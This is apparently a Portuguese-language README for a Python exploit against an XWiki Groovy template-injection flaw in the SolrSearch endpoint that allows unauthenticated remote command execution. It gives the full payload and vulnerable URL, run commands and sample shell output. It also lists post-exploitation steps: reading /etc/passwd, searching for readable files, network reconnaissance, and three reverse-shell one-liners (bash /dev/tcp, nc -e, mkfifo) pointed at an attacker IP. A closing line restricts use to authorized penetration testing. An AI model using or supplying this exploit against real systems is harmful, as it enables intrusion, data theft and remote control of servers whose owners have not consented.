
Execução Remota de Código Não Autenticada no XWiki via Macro SolrSearch
Um exploit em Python para a vulnerabilidade de Injeção de Template no Lado do Servidor (SSTI) no XWiki, via injeção de template Groovy no endpoint SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Isso fornecerá um pseudo-shell interativo onde você pode executar comandos:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: URL alvo (obrigatório)-c, --command CMD: Executar comando único--test: Testar se o alvo está vulnerável--no-verify-ssl: Desabilitar verificação de certificado SSL--debug: Habilitar saída de depuraçãoColeta de informações:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Encontrar arquivos interessantes:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Informações de rede:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Estabelecer reverse shell:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
O exploit usa a seguinte estrutura de payload SSTI:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
O payload é codificado em URL e enviado ao endpoint vulnerável:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
O servidor processa o template Groovy e executa o comando
A saída é capturada da resposta do feed RSS no formato:
search on [}}OUTPUT]
O exploit analisa a resposta HTML para extrair a saída do comando
xwiki (uid=997)/usr/lib/xwiki-jettyEsta ferramenta é apenas para fins educacionais e de testes de penetração autorizados. Use-a somente em sistemas nos quais você tenha permissão para testar.